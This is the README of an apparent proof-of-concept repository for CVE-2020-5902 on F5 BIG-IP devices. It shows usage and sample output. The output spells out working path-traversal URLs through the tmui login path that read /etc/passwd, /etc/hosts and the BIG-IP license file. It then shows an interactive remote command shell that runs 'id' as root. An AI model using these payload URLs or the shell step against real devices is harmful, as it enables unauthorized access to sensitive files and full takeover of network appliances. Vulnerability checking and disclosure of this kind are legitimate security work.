Python script to check CVE-2020-5902 (F5 BIG-IP devices).# CVE-2020-5902
Python script to check CVE-2020-5902 (F5 BIG-IP devices).
# Usage
```
python3 CVE-2020-5902.py -i <IP>
```
# Output
```
- Python script to check CVE-2020-5902 (F5 BIG-IP devices). | coded by Abdullah AlZahrani
[!] Your target: 127.0.0.1
[I] /etc/passwd readable
[PoC] https://127.0.0.1/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
[I] /etc/hosts readable
[PoC] https://127.0.0.1/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
[I] /config/bigip.license readable
[PoC] https://127.0.0.1/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
[I] The target is vulnerable to CVE-2020-5902
[*] Check if the target vulnerable to RCE
[#] The target is vulnerable to RCE, let's GO.
Command > id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
```
[4.0K] /data/pocs/abb7180263a303696e7c3349b7f45c4663ed05ba
├── [4.3K] CVE-2020-5902.py
└── [ 880] README.md
0 directories, 2 files